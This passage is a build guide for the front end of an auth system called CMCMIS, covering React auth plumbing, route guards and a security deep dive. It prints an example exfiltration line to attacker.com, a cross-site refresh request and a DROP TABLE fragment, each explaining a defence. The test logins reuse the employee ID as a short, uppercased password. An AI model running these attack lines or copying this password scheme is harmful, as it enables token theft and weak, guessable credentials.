App.jsx in STEP 6 is intentionally a 'canary' — renders the Brand component + one of each UI primitive. If the canary page is styled, tokens / fonts / Tailwind are all wired correctly.

```
// bash
cd "SOFTWARE CODE/FE"
cp .env.example .env
npm install
npm run dev
# → ➜ Local:   http://localhost:5173/

# Browser DevTools sanity
document.fonts.check('14px Inter');                          // → true
getComputedStyle(document.body).backgroundColor;             // → rgb(245, 246, 250)
Object.keys(localStorage);                                   // → []
```

Part VIII · STEP 7 · Frontend Auth Plumbing

Wires the four lib files that turn the static canary into a real auth-aware app: the axios client (interceptors + refresh coalescing), the AuthProvider (React context), the permission map (nav items), and the login Zod schema.

8.1 The Token Storage Matrix

Item	Storage location	JS-readable?	Sent automatically with request?	Defends against
Access token (JWT)	JS module variable in api-client.js (memory only)	✓deliberately	No — interceptor attaches as Authorization: Bearer	Loss on reload (refreshed via cookie)
Refresh token	httpOnly cookie cmcmis_rt (path /api/v1/auth)	✗NEVER	Yes — browser auto-attaches on /auth/refresh	XSS exfiltration
CSRF token	Cookie cmcmis_csrf + JS module variable	✓by design	Header X-CSRF-Token (echoed by interceptor)	Cross-site request forgery
Password	Never stored client-side	—	Only in /login request body, then discarded	Trivial recovery from local state

8.2 lib/schemas/loginSchema.js — Mirror of BE Validator

```
// src/lib/schemas/loginSchema.js
import { z } from 'zod';

export const PASSWORD_REGEX = /^[A-Z]{2}[0-9]{5}$/;
const FORMAT_HINT = 'Format: 2 uppercase letters + 5 digits (e.g. SA79900)';

export const loginSchema = z.object({
  employee_id: z.string().length(7, FORMAT_HINT).regex(PASSWORD_REGEX, FORMAT_HINT),
  password:    z.string().length(7, FORMAT_HINT).regex(PASSWORD_REGEX, FORMAT_HINT),
}).strict();
```

INFO · Why mirror, not import

The BE schema is CommonJS; the FE schema is ESM. They can't import each other directly.

Keeping them as twin files with identical regex + length + .strict() is a small cost for keeping the BE in CJS and FE in ESM.

Phase 9+ could publish a shared package — out of scope for the MVP.

8.3 lib/permissions.js — Sidebar Map Keyed by Permission

```
// src/lib/permissions.js
import {
  LayoutDashboard, Wrench, FileText, ClipboardCheck,
  Search, ScrollText, Users,
} from 'lucide-react';

export const ALL_NAV_ITEMS = [
  { label: 'Dashboard',    to: '/dashboard',    icon: LayoutDashboard, requires: 'dashboard:view' },
  { label: 'Equipment',    to: '/equipment',    icon: Wrench,          requires: 'equipment:read-
list' },
  { label: 'Job Requests', to: '/job-requests', icon: FileText,        requires: 'job_request:read-
own' },
  { label: 'Job Cards',    to: '/job-cards',    icon: ClipboardCheck,  requires: 'job_card:read-
list' },
  { label: 'Inquiry',      to: '/inquiry',      icon: Search,          requires: 'inquiry:search-
instruments' },
  { label: 'Audit Log',    to: '/audit',        icon: ScrollText,      requires: 'audit_log:read' },
  { label: 'Manage Users', to: '/admin/users',  icon: Users,           requires: 'user:read-list' },
];

export function visibleNavItems(permissions) {
  if (!Array.isArray(permissions) || permissions.length === 0) return [];
  const owned = new Set(permissions);
  return ALL_NAV_ITEMS.filter(item => owned.has(item.requires));
}
```

8.4 lib/api-client.js — Axios + Interceptors + Coalescing

The central nervous system of the frontend. Every HTTP call to the backend goes through `api`. Two interceptors do the heavy lifting:

- REQUEST — attach Authorization: Bearer + X-CSRF-Token (on POST/PATCH/DELETE).
- RESPONSE — on 401 (non-auth URL), fire a SINGLE coalesced /auth/refresh, retry the original request.

```
// src/lib/api-client.js
import axios from 'axios';

// Module-private state — never exposed; only setters mutate.
let accessToken = null;
let csrfToken = null;
let refreshInFlight = null;

export function setAccessToken(t) { accessToken = t; }
export function setCsrfToken(t)   { csrfToken   = t; }
export function getAccessToken()  { return accessToken; }
export function clearAuthTokens() { accessToken = null; csrfToken = null; }

function readCookie(name) {
  if (typeof document === 'undefined') return null;
  const esc = name.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  const m = document.cookie.match(new RegExp('(?:^|; )' + esc + '=([^;]*)'));
  return m ? decodeURIComponent(m[1]) : null;
}

export const api = axios.create({
  baseURL: import.meta.env.VITE_API_BASE_URL || '/api/v1',
```

```
  withCredentials: true,                       // mandatory for the refresh cookie
});

// ── REQUEST INTERCEPTOR ──
api.interceptors.request.use(config => {
  if (accessToken) {
    (config.headers.set
      ? config.headers.set('Authorization', `Bearer ${accessToken}`)
      : (config.headers.Authorization = `Bearer ${accessToken}`));
  }
  const method = (config.method || 'get').toLowerCase();
  if (['post','patch','delete'].includes(method)) {
    const csrf = csrfToken || readCookie('cmcmis_csrf');
    if (csrf) {
      (config.headers.set
        ? config.headers.set('X-CSRF-Token', csrf)
        : (config.headers['X-CSRF-Token'] = csrf));
    }
  }
  return config;
});

// ── RESPONSE INTERCEPTOR ── refresh-on-401 with coalescing
api.interceptors.response.use(resp => resp, async error => {
  const original = error.config;
  if (!original)                                    return Promise.reject(error);
  if (original._retried)                            return Promise.reject(error);
  if (!error.response || error.response.status !== 401)
                                                    return Promise.reject(error);
  if (typeof original.url === 'string' && /\/auth\//.test(original.url))
                                                    return Promise.reject(error);

  original._retried = true;
  if (!refreshInFlight) {
    refreshInFlight = refreshAccessToken().finally(() => { refreshInFlight = null; });
  }
  try {
    const newToken = await refreshInFlight;
    if (original.headers?.set) original.headers.set('Authorization', `Bearer ${newToken}`);
    else { original.headers = original.headers || {};
           original.headers.Authorization = `Bearer ${newToken}`; }
    return api(original);
  } catch (refreshError) {
    if (typeof window !== 'undefined') window.location.replace('/login');
    return Promise.reject(refreshError);
  }
});

async function refreshAccessToken() {
  const r = await api.post('/auth/refresh');
  setAccessToken(r.data.data.accessToken);
  setCsrfToken(r.data.data.csrfToken);
  return r.data.data.accessToken;
}
```

INFO · Why refresh COALESCING matters

When the access token expires, many in-flight requests can 401 simultaneously (dashboard fires N widgets in parallel).

Without coalescing each 401 triggers its own /auth/refresh — N concurrent refreshes; N-1 fail with 'token already rotated'; the dashboard explodes.

With coalescing the FIRST 401 fires one refresh; every other concurrent 401 awaits the same promise and reuses the resulting token. Net: smooth UX on every token-expiry boundary.

8.5 lib/auth-context.jsx — React Context for the Session

Holds the React-visible half of auth state: `user`, `loading`. Exposes `login`, `logout`, `hasPermission`, `hasAny`. On mount it fires a single silent /auth/refresh; success → hydrate, failure → stay anonymous; always setLoading(false) in finally.

```
// src/lib/auth-context.jsx
import { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
import { api, setAccessToken, setCsrfToken, clearAuthTokens } from './api-client.js';

const AuthContext = createContext(null);

export function AuthProvider({ children }) {
  const [user, setUser]       = useState(null);
  const [loading, setLoading] = useState(true);

  // Mount-time silent refresh
  useEffect(() => {
    let cancelled = false;
    api.post('/auth/refresh')
      .then(r => {
        if (cancelled) return;
        setAccessToken(r.data.data.accessToken);
        setCsrfToken(r.data.data.csrfToken);
        setUser(r.data.data.user);
      })
      .catch(() => {/* anonymous; that's fine */})
      .finally(() => { if (!cancelled) setLoading(false); });
    return () => { cancelled = true; };
  }, []);

  const login = useCallback(async (employeeId, password) => {
    const r = await api.post('/auth/login', { employee_id: employeeId, password });
    setAccessToken(r.data.data.accessToken);
    setCsrfToken(r.data.data.csrfToken);
    setUser(r.data.data.user);
  }, []);

  const logout = useCallback(async () => {
    try { await api.post('/auth/logout'); } catch {}
    clearAuthTokens();
    setUser(null);
  }, []);

  const hasPermission = useCallback(
    code => (user ? user.permissions.includes(code) : false), [user]);
  const hasAny = useCallback((...codes) => {
    if (!user) return false;
    const owned = new Set(user.permissions);
    return codes.some(c => owned.has(c));
  }, [user]);

  const value = useMemo(
    () => ({ user, loading, login, logout, hasPermission, hasAny }),
    [user, loading, login, logout, hasPermission, hasAny],
  );
```

```
  return <AuthContext.Provider value={value}>{children}</AuthContext.Provider>;
}

export function useAuth() {
  const ctx = useContext(AuthContext);
  if (!ctx) throw new Error('useAuth() must be used inside <AuthProvider>.');
  return ctx;
}
```

Part IX · STEP 8 · Login + ProtectedRoute + Dashboard Shell

The user-visible payoff. Login page matching the reference mockup, route guard for every protected URL, sidebar that filters itself based on permissions, top bar with auto-derived title + role badge + initials, dashboard shell with stat cards + permission inspector, and the final App.jsx route tree.

9.1 ProtectedRoute.jsx — The Route Guard

Four possible outcomes per render: loading → spinner; anonymous → Navigate to /login with state.from for bounce-back; authenticated but missing permission → render <Forbidden>; otherwise → render children.

```
// src/components/ProtectedRoute.jsx
import { Navigate, useLocation } from 'react-router-dom';
import { useAuth } from '../lib/auth-context.jsx';
import { Spinner } from './ui/Spinner.jsx';
import { Forbidden } from '../pages/Forbidden.jsx';

export function ProtectedRoute({ children, requiredPermission }) {
  const { user, loading, hasPermission } = useAuth();
  const location = useLocation();

  if (loading) {
    return (
      <div className="min-h-screen flex items-center justify-center">
        <Spinner size={28} className="text-ink-soft" />
      </div>);
  }
  if (!user) {
    return <Navigate to="/login" replace state={{ from: location }} />;
  }
  if (requiredPermission && !hasPermission(requiredPermission)) {
    return <Forbidden requiredPermission={requiredPermission} />;
  }
  return children;
}
```

9.2 Forbidden.jsx — 403 Page

```
// src/pages/Forbidden.jsx
import { Link } from 'react-router-dom';
import { ShieldOff } from 'lucide-react';
import { Button } from '../components/ui/Button.jsx';
import { useAuth } from '../lib/auth-context.jsx';

export function Forbidden({ requiredPermission }) {
  const { user, logout } = useAuth();
  return (
    <main className="min-h-screen flex items-center justify-center p-8 bg-base">
      <div className="w-full max-w-md bg-white rounded-lg border border-border shadow-card p-8 text-
center">
```

```
        <ShieldOff size={40} strokeWidth={1.5} className="mx-auto text-danger mb-4" />
        <h1 className="text-xl font-semibold text-ink">403 — Insufficient permissions</h1>
        <p className="mt-2 text-sm text-ink-soft">
          You are signed in as <span className="font-medium text-ink">{user?.sub ??
'anonymous'}</span>
          {user?.role ? <> ({user.role})</> : null}, but this page requires the permission:
        </p>
        {requiredPermission ? (
          <code className="inline-block mt-2 px-2 py-1 rounded bg-base-elev text-xs text-ink-soft">
            {requiredPermission}
          </code>) : null}
        <div className="mt-6 flex items-center justify-center gap-2">
          <Link to="/dashboard"><Button variant="primary">Back to dashboard</Button></Link>
          <Button variant="ghost" onClick={logout}>Sign out</Button>
        </div>
      </div>
    </main>);
}
```

9.3 Sidebar.jsx — Permission-Filtered Nav

```
// src/components/Sidebar.jsx
import { NavLink, useNavigate } from 'react-router-dom';
import clsx from 'clsx';
import { LogOut } from 'lucide-react';
import { Brand } from './Brand.jsx';
import { Badge } from './ui/Badge.jsx';
import { Button } from './ui/Button.jsx';
import { useAuth } from '../lib/auth-context.jsx';
import { visibleNavItems } from '../lib/permissions.js';

export function Sidebar() {
  const { user, logout } = useAuth();
  const navigate = useNavigate();
  if (!user) return null;

  const items = visibleNavItems(user.permissions);

  async function handleSignOut() { await logout(); navigate('/login', { replace: true }); }

  return (
    <aside className="w-64 shrink-0 min-h-screen flex flex-col bg-base-elev border-r border-border">
      <div className="px-5 py-5 border-b border-border">
        <Brand size="md" />
        <div className="mt-4">
          <div className="text-sm font-medium text-ink">{user.sub}</div>
          <div className="mt-1"><Badge color="badge">{user.role}</Badge></div>
        </div>
      </div>
      <nav className="flex-1 p-3 space-y-1 overflow-y-auto">
        {items.map(item => {
          const Icon = item.icon;
          return (
            <NavLink key={item.to} to={item.to}
              end={item.to === '/dashboard'}
              className={({ isActive }) => clsx(
                'flex items-center gap-2.5 px-3 py-2 rounded-md text-sm transition-colors',
                isActive ? 'bg-accent text-white font-medium'
                         : 'text-ink hover:bg-base hover:text-accent')}>
              <Icon size={18} strokeWidth={1.5} />{item.label}
            </NavLink>);
```

```
        })}
      </nav>
      <div className="p-3 border-t border-border">
        <Button variant="ghost" className="w-full justify-start" onClick={handleSignOut}>
          <LogOut size={16} strokeWidth={1.5} />Sign out
        </Button>
      </div>
    </aside>);
}
```

9.4 TopBar.jsx — Auto-Derived Page Title + Avatar

```
// src/components/TopBar.jsx
import { useLocation } from 'react-router-dom';
import { useAuth } from '../lib/auth-context.jsx';
import { Badge } from './ui/Badge.jsx';
import { ALL_NAV_ITEMS } from '../lib/permissions.js';

function initialsOf(sub) {
  if (!sub) return '··';
  return sub.slice(0, 2).toUpperCase();
}

export function TopBar({ title }) {
  const { user } = useAuth();
  const location = useLocation();

  const derived = ALL_NAV_ITEMS.find(n =>
    n.to === '/dashboard'
      ? location.pathname === '/dashboard'
      : location.pathname.startsWith(n.to));
  const resolvedTitle = title || derived?.label || 'CMCMIS';

  return (
    <header className="h-14 shrink-0 flex items-center justify-between px-6 bg-white border-b
border-border">
      <h1 className="text-sm font-semibold text-ink">{resolvedTitle}</h1>
      <div className="flex items-center gap-3">
        {user ? (
          <>
            <Badge color="badge">{user.role}</Badge>
            <div aria-label={`Signed in as ${user.sub}`}
                 className="h-8 w-8 rounded-full bg-accent/10 text-accent flex items-center justify-
center text-xs font-semibold">
              {initialsOf(user.sub)}
            </div>
          </>) : null}
      </div>
    </header>);
}
```

9.5 Layout.jsx — Sidebar + TopBar + scrollable main

```
// src/components/Layout.jsx
import { Sidebar } from './Sidebar.jsx';
```

```
import { TopBar } from './TopBar.jsx';

export function Layout({ children, title }) {
  return (
    <div className="flex h-full min-h-screen bg-base">
      <Sidebar />
      <div className="flex-1 flex flex-col min-w-0">
        <TopBar title={title} />
        <main className="flex-1 overflow-auto p-8">{children}</main>
      </div>
    </div>);
}
```

9.6 Login.jsx — Matches the Reference Image

Layout sketch — what the user sees

```
// layout sketch
            CMCMIS·                              ← Brand size="lg" (ink + accent dot)
   Calibration & Maintenance Management         ← ink-soft, text-sm
              ISRO SAC                          ← ink-soft/80, text-xs


    ┌──────────────────────────────────────┐
    │  Sign In                             │
    │  Employee ID                         │
    │  [SA79900_____]                      │
    │  helper text                         │
    │  Password                            │
    │  [••••••••_____]                     │
    │  [   →  Sign In          ]  ← accent │
    │  ——— or ———                          │
    │  [ Continue with SSO (Coming soon)]  │
    │  Authorised personnel only…          │
    └──────────────────────────────────────┘
```

Key implementation choices

- react-hook-form + zodResolver(loginSchema) for client-side validation.
- Auto-uppercase via register('employee_id', { onChange: e => e.target.value = e.target.value.toUpperCase() }).
- autoComplete='username' / 'current-password' so password managers fill correctly.
- Disabled 'Continue with SSO' button with 'Coming soon' badge — future feature placeholder.
- Loading-spinner-inside-button pattern on isSubmitting.
- If silent refresh succeeded on mount, redirect to /dashboard without showing the form.

Login.jsx — the core form

```
// src/pages/Login.jsx
const { register, handleSubmit, formState: { errors, isSubmitting } } = useForm({
  resolver: zodResolver(loginSchema),
});

async function onSubmit(values) {
```

```
  setServerError('');
  try {
    await login(values.employee_id, values.password);
    const target = location.state?.from?.pathname || '/dashboard';
    navigate(target, { replace: true });
  } catch (err) {
    const apiMessage =
      err?.response?.data?.error?.message ||
      (err?.response?.status === 429
        ? 'Too many attempts. Please try again later.'
        : 'Sign-in failed. Please try again.');
    setServerError(apiMessage);
  }
}

// JSX (abridged)
<form onSubmit={handleSubmit(onSubmit)} noValidate className="space-y-4">
  <FormField label="Employee ID"
             error={errors.employee_id?.message}
             helper="Two uppercase letters + five digits (e.g. SA79900)">
    <Input placeholder="SA79900" autoComplete="username" maxLength={7}
           autoCapitalize="characters" autoFocus
           {...register('employee_id', {
             onChange: e => { e.target.value = (e.target.value||'').toUpperCase(); }
           })} />
  </FormField>
  <FormField label="Password" error={errors.password?.message}>
    <Input type="password" autoComplete="current-password" maxLength={7}
           {...register('password', {
             onChange: e => { e.target.value = (e.target.value||'').toUpperCase(); }
           })} />
  </FormField>
  {serverError ? <div role="alert" className="rounded-md bg-danger/10 text-danger text-xs px-3 py-
2">{serverError}</div> : null}
  <Button type="submit" variant="primary" className="w-full" disabled={isSubmitting}>
    {isSubmitting
      ? <><Spinner size={14} className="text-white"/>Signing in…</>
      : <><ArrowRight size={16} strokeWidth={1.75}/>Sign In</>}
  </Button>
</form>
```

9.7 Dashboard.jsx — Post-Login Shell

Stat-card row + collapsible permission inspector. Phase 4 shell only — Phase 8 replaces this with real widgets.

```
// src/pages/Dashboard.jsx
export function Dashboard() {
  const { user } = useAuth();
  const [showPerms, setShowPerms] = useState(false);
  if (!user) return null;

  return (
    <Layout>
      <div className="max-w-3xl">
        <h2 className="text-2xl font-semibold text-ink">Welcome, {user.sub}</h2>
        <p className="mt-1 text-sm text-ink-soft">
          You are signed in as <Badge color="badge">{user.role}</Badge>.
        </p>
        <div className="mt-8 grid grid-cols-1 sm:grid-cols-3 gap-4">
          <StatCard label="Permissions" value={user.permissions.length} hint="granted by role" />
          <StatCard label="Role"        value={user.role}               hint="single role per user"
/>
```

```
          <StatCard label="User ID"     value={user.uid}                hint="users.user_id in DB"
/>
        </div>
        <div className="mt-8 bg-white rounded-lg border border-border shadow-card">
          <button onClick={() => setShowPerms(v => !v)}
                  className="w-full flex items-center justify-between px-4 py-3 text-sm font-medium
text-ink hover:bg-base-elev rounded-lg">
            <span>View granted permissions ({user.permissions.length})</span>
            {showPerms ? <ChevronDown size={16}/> : <ChevronRight size={16}/>}
          </button>
          {showPerms ? (
            <div className="px-4 pb-4 pt-1 border-t border-border">
              <ul className="grid grid-cols-1 sm:grid-cols-2 gap-x-4 gap-y-1 text-xs font-mono text-
ink-soft py-2">
                {[...user.permissions].sort().map(p => <li key={p}>{p}</li>)}
              </ul>
            </div>) : null}
        </div>
      </div>
    </Layout>);
}
```

9.8 App.jsx — Final Route Tree

```
// src/App.jsx
import { BrowserRouter, Routes, Route, Navigate } from 'react-router-dom';
import { AuthProvider } from './lib/auth-context.jsx';
import { ProtectedRoute } from './components/ProtectedRoute.jsx';
import { Layout } from './components/Layout.jsx';
import { Login } from './pages/Login.jsx';
import { Dashboard } from './pages/Dashboard.jsx';

export function App() {
  return (
    <AuthProvider>
      <BrowserRouter>
        <Routes>
          {/* Public */}
          <Route path="/login" element={<Login />} />

          {/* Protected (any signed-in user) */}
          <Route path="/dashboard" element={
            <ProtectedRoute><Dashboard /></ProtectedRoute>
          } />

          {/* Protected + permission-gated placeholders (Phase 5+) */}
          <Route path="/equipment" element={
            <ProtectedRoute requiredPermission="equipment:read-list">
              <Layout><ModulePlaceholder title="Equipment" phase={5}/></Layout>
            </ProtectedRoute>} />
          {/* …job-requests, job-cards, inquiry, audit, admin/users follow the same shape */}

          {/* Catch-all */}
          <Route path="*" element={<Navigate to="/dashboard" replace />} />
        </Routes>
      </BrowserRouter>
    </AuthProvider>);
}

function ModulePlaceholder({ title, phase }) {
  return (
```

```
    <div className="max-w-2xl">
      <h2 className="text-2xl font-semibold text-ink">{title}</h2>
      <p className="mt-2 text-sm text-ink-soft">
        This module ships in Phase {phase}. The route, permission gate, and layout chrome
        are already in place — only the page body is pending implementation.
      </p>
    </div>);
}
```

Part X · Security Deep Dive — What We Actually Wired

Phase 4 is a security-first build. This part documents every defensive layer that ended up in the code, separated by attack class. Not a textbook — a record of what's running in this codebase right now.

10.1 Brute-Force Defence — Layered (5 layers)

Layer	Mechanism	File	Latency cost to attacker
1	Zod regex pre-check rejects malformed inputs	auth.validators.js (BE) + loginSchema.js (FE)	<1ms (instant 422)
2	express-rate-limit: 10 attempts / 15 min / IP	rateLimit.js — loginLimiter	After 10 tries: 15-min lockout
3	bcrypt cost 10 (12 in prod)	auth.service.js — bcrypt.compare	~80ms per attempt → 80 sec/1000 tries
4	users.failed_login_count per-user counter	users.repo.js — incrementFailedLogin	Persistent across IPs
5	is_locked flag (set by future BR-AUTH-08 watcher)	users.is_locked column (Phase 5+ guard)	Only Super Admin unlocks

10.2 Token Theft — Refresh-Rotation + Defensive Sweep

SECURITY · Three-step protection model

Step 1 — Refresh tokens are stored as SHA-256 hex in refresh_tokens.token_hash. The raw JWT never sits in the DB. If the DB is leaked, attackers cannot replay the stored hashes.

Step 2 — Every successful /refresh REVOKES the presented token before issuing a new one. A stolen token works AT MOST once.

Step 3 — On the next legitimate refresh, the attacker's old (now-revoked) token reappears. The service detects 'valid signature + DB miss' as a replay pattern and calls revokeAllForUser. Both attacker and legit user re-login; only the legit user has the password.

10.3 XSS Defence — Token Placement Strategy

Beginner tutorials say 'store JWT in localStorage'. Every senior security engineer says NO. The attack is concrete: a CDN-hosted dependency gets compromised, ships fetch(attacker.com, {body: localStorage.getItem('jwt')}) — every active token is exfiltrated within seconds.

Our model:

- Access token in a JS module variable (api-client.js). Vulnerable to in-page XSS, BUT capped at 15-minute lifetime.
- Refresh token in an httpOnly cookie cmcmis_rt. document.cookie cannot read it; no XSS in any dependency, anywhere in the tree, can exfiltrate it.
- CSRF token in a JS-readable cookie cmcmis_csrf. Double-submitted on /auth/refresh — a stolen cookie alone cannot trigger refresh because the attacker can't read the cookie cross-site to set the header.
- Nothing in localStorage / sessionStorage / IndexedDB.

10.4 CSRF Defence — SameSite=Lax + Double-Submit

```
// attack vs defence
// Without double-submit, an attacker's site could:
fetch('https://our-app.com/api/v1/auth/refresh',
      { method: 'POST', credentials: 'include' });
// The browser auto-attaches both our cookies. Server thinks it's legit.

// With double-submit:
// - Server demands X-CSRF-Token header to match cmcmis_csrf cookie.
// - Attacker's site can SEND the cookies but cannot READ cmcmis_csrf cross-site
//   (same-origin policy blocks document.cookie cross-domain).
// - Therefore the attacker cannot set a matching X-CSRF-Token header → 403.
```

10.5 SQL Injection — Parameterised Queries + multipleStatements off

Two layers stacked:

- Every query in every *.repo.js uses `?` placeholders fed via the second arg to pool.query(). String concatenation of user input into SQL never appears.
- mysql2 pool created without multipleStatements → defaults to FALSE → a single injected fragment cannot chain ; DROP TABLE users; because the driver refuses multi-statement requests at runtime.

10.6 User Enumeration — Generic 'Invalid credentials'

All four failure paths (unknown employee_id, inactive, locked, bad password) return the exact same human-facing message. Internally we still distinguish via the login_audit ENUM, so forensics has full detail.

Actual server state	audit outcome	HTTP response message
employee_id not in users	FAILED_NOT_FOUND	Invalid credentials
users.is_active = 0	FAILED_USER_INACTIVE	Invalid credentials
users.is_locked = 1	FAILED_USER_LOCKED	Invalid credentials
bcrypt.compare returns false	FAILED_BAD_PASSWORD	Invalid credentials

10.7 Browser DevTools — Live Forensics

10.7.1 Confirming httpOnly is working

```
// console
// In the browser console after sign-in:
document.cookie
// → "cmcmis_csrf=ab12cd…"      (no cmcmis_rt — that's correct)

// If you see cmcmis_rt here, the cookie was set WITHOUT httpOnly. Stop. Fix the BE.
```

10.7.2 Decoding the JWT live

```
// console
const token = "eyJhbGciOiJIUzI1NiIs...";
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload);
// { sub: "SA79900", uid: 1, role: "SUPER_ADMIN",
//   permissions: [...], iat: 17xxxx, exp: 17xxxx }

new Date(payload.exp * 1000)
// → 15 minutes after iat
```

10.7.3 What XSS would see

```
// console
localStorage.getItem('accessToken');   // → null (we don't use localStorage)
sessionStorage.getItem('jwt');         // → null
Object.keys(localStorage);             // → []

// Best case for an attacker: walk the React fiber tree to find the
// accessToken in memory. Token is 15-min-life and the cookie is unreadable;
// they get one short-lived token at most.
```

Part XI · End-to-End Verification & Test Plan

The 12-step browser acceptance test plus the curl matrix and SQL audit queries that constitute the formal sign-off for Phase 4.

11.1 Setup

```
// bash
# Terminal A — backend
cd "SOFTWARE CODE/BE"
npm install
cp .env.example .env
# Edit .env: set DB_USER/DB_PASSWORD + generate two distinct JWT secrets via
#   node -e "console.log(require('crypto').randomBytes(32).toString('hex'))"
npm run dev
# Expect: "DB pool ready" then "Server ready" log lines.

# Terminal B — frontend
cd "SOFTWARE CODE/FE"
cp .env.example .env
npm install
npm run dev
# Expect: Vite serves on http://localhost:5173/
```

11.2 Browser Smoke (12 steps)

#	Action	Expected pass condition
1	Open http://localhost:5173/	Redirects to /login; hero (CMCMIS / sub / ISRO SAC) + card render
2	DevTools → Network — reload	POST /api/v1/auth/refresh returns 401/403 (no session yet); FE stays on /login
3	Submit empty form	Per-field error: 'Format: 2 uppercase letters + 5 digits'
4	Submit SA79900 / WRONG12	Red banner 'Invalid credentials' (BE 401)
5	Submit SA79900 / SA79900	Navigate to /dashboard; sidebar shows 7 items + role pill SUPER_ADMIN
6	DevTools → Application → Cookies	cmcmis_rt has HttpOnly ✓Path /api/v1/auth · cmcmis_csrf NOT httpOnly
7	DevTools → Console: document.cookie	Returns only cmcmis_csrf=… — refresh token invisible to JS
8	Object.keys(localStorage) / sessionStorage	Both empty
9	Click 'Manage Users' in the sidebar	/admin/users placeholder renders (SA has user:read-list)
10	Sign out → log in as DS00001 / DS00001	Sidebar narrower (4 items); 'Manage Users' and 'Audit Log' missing
11	Manually type /admin/users in URL bar	<Forbidden> page renders, names 'user:read-list'; no redirect loop, no server 500

12	Wait 15 min idle, click anywhere in the app	Network shows ONE coalesced /auth/refresh (200); the user action retries automatically with the new Bearer

11.3 Backend curl Matrix

```
// bash
# Login happy path
curl -s -X POST http://localhost:3000/api/v1/auth/login \
     -H 'Content-Type: application/json' \
     -d '{"employee_id":"SA79900","password":"SA79900"}' -c cookies.txt

# /me with the token returned above
curl -s http://localhost:3000/api/v1/me -H "Authorization: Bearer $ACCESS"

# Refresh — CSRF must match
CSRF=$(grep cmcmis_csrf cookies.txt | awk '{print $7}')
curl -s -X POST http://localhost:3000/api/v1/auth/refresh \
     -H "X-CSRF-Token: $CSRF" -b cookies.txt -c cookies.txt

# Logout — needs Bearer
curl -s -X POST http://localhost:3000/api/v1/auth/logout \
     -H "Authorization: Bearer $ACCESS" -b cookies.txt
# → 204 No Content; cookies cleared by Set-Cookie
```

11.4 SQL Audit Spot-Check

```
// SQL
-- All login activity in the last 10 minutes, grouped by outcome
SELECT outcome, COUNT(*) FROM final.login_audit
 WHERE attempt_at > NOW() - INTERVAL 10 MINUTE
 GROUP BY outcome;
-- Expect SUCCESS, FAILED_BAD_PASSWORD (if you tried bad pw), LOGOUT,
--        TOKEN_REFRESH (after the 15-min retry test).

-- Refresh-token lifecycle visibility
SELECT user_id, LEFT(token_hash,16) AS hash16,
       revoked_reason, issued_at
  FROM final.refresh_tokens
 ORDER BY token_id DESC LIMIT 10;
-- Expect: one active row (revoked_reason IS NULL) per active session;
-- ROTATED rows from /auth/refresh calls; LOGOUT rows from sign-outs.
```

11.5 Acceptance Criteria — Phase 4 Sealed When …

VERIFIED · Sealed

All 12 browser smoke steps green.

curl matrix returns the documented responses.

SQL counts show SUCCESS, FAILED_BAD_PASSWORD, LOGOUT and TOKEN_REFRESH rows in login_audit.

refresh_tokens.token_hash entries are 64-char hex (never raw JWT strings).

DevTools Console: document.cookie has no cmcmis_rt; localStorage empty.

Part XII · File Inventory & Phase 4 Sign-off

12.1 Backend Files (21 total)

#	Path (under SOFTWARE CODE/BE/)	Purpose
1	.env.example	Env template; gitignored .env carries real secrets
2	.gitignore	node_modules, .env, logs
3	package.json	Deps + npm scripts; NO typescript/@types
4	README.md	Quick-start + hard rules
5	src/server.js	Entry: env→logger→db→middleware→routes→404→errorHandler
6	src/config/env.js	envalid-validated process.env; cross-field invariants
7	src/config/logger.js	pino + redact paths for Authorization/Cookie/Set-Cookie
8	src/config/db.js	mysql2 pool, multipleStatements:false, boot SELECT 1
9	src/config/jwt.js	Facade: alg + secrets + TTLs
10	src/middleware/errorHandler.js	AppError + errors{} + notFoundHandler + default handler
11	src/middleware/validate.js	Generic zod-schema runner factory
12	src/middleware/authenticate.js	Bearer verify → req.user
13	src/middleware/authorize.js	Permission-gate factory + authorizeAny
14	src/middleware/rateLimit.js	loginLimiter (10/15min) + refreshLimiter (30/min)
15	src/modules/auth/auth.routes.js	POST /login · /refresh · /logout
16	src/modules/auth/auth.controller.js	HTTP shims; cookies set/cleared here
17	src/modules/auth/auth.service.js	login + refresh (rotation + theft) + logout
18	src/modules/auth/auth.validators.js	zod loginSchema + refreshSchema
19	src/modules/auth/users.repo.js	Users + RBAC JOIN
20	src/modules/auth/refreshTokens.repo.js	Persist / findValid / revoke / revokeAllForUser
21	src/modules/auth/loginAudit.repo.js	Append-only audit writer

Plus two helper files inside src/utils/ (crypto.js · cookies.js) and one users module pair (users.routes.js · users.controller.js) — they're listed in the tree in Part I.

12.2 Frontend Files (19 total)

#	Path (under SOFTWARE CODE/FE/)	Purpose
1	.env.example	VITE_API_BASE_URL placeholder
2	.gitignore	node_modules, dist, .env
3	index.html	Title + Inter font preconnect + /src/main.jsx
4	package.json	FE deps (NO typescript)

5	postcss.config.js	Tailwind + Autoprefixer
6	tailwind.config.js	11 color tokens + Inter stack + shadow
7	vite.config.js	/api proxy + @/ alias
8	src/App.jsx	AuthProvider → BrowserRouter → Routes
9	src/main.jsx	React 18 createRoot + StrictMode
10	src/styles/globals.css	@tailwind directives + body base + focus ring
11	src/components/Brand.jsx	CMCMIS· wordmark, sm/md/lg
12	src/components/Layout.jsx	Sidebar + TopBar + main shell
13	src/components/ProtectedRoute.jsx	loading/anonymous/forbidden/render guard
14	src/components/Sidebar.jsx	Permission-filtered nav + identity + sign-out
15	src/components/TopBar.jsx	Auto-derived title + role badge + initials
16	src/components/ui/{Badge,Button,FormField,Input,Spinner}.jsx	Five UI primitives
17	src/lib/api-client.js	axios + Bearer/CSRF interceptors + refresh coalescing
18	src/lib/auth-context.jsx	AuthProvider + useAuth()
19	src/lib/permissions.js + schemas/loginSchema.js	Nav map + zod schema mirror

12.3 Pattern Locked for Phase 5+

Every future module (Equipment in Phase 5, Job Requests + Job Cards in Phase 6, etc.) clones the exact same shape. Phase 4's effort compounds across every following phase.

```
// phase5+ template
BE: modules/<name>/
       <name>.validators.js   ← zod schemas
       <name>.repo.js         ← raw SQL only here
       <name>.service.js      ← business rules
       <name>.controller.js   ← thin req/res shim
       <name>.routes.js       ← authenticate → authorize('x:y') → validate(s) → ctrl

FE: pages/<Name>{List,Detail,Form}.jsx
    +  router entry in App.jsx wrapped in
       <ProtectedRoute requiredPermission="x:y">
         <Layout>{ /* page */ }</Layout>
       </ProtectedRoute>
    +  ALL_NAV_ITEMS entry in lib/permissions.js
```

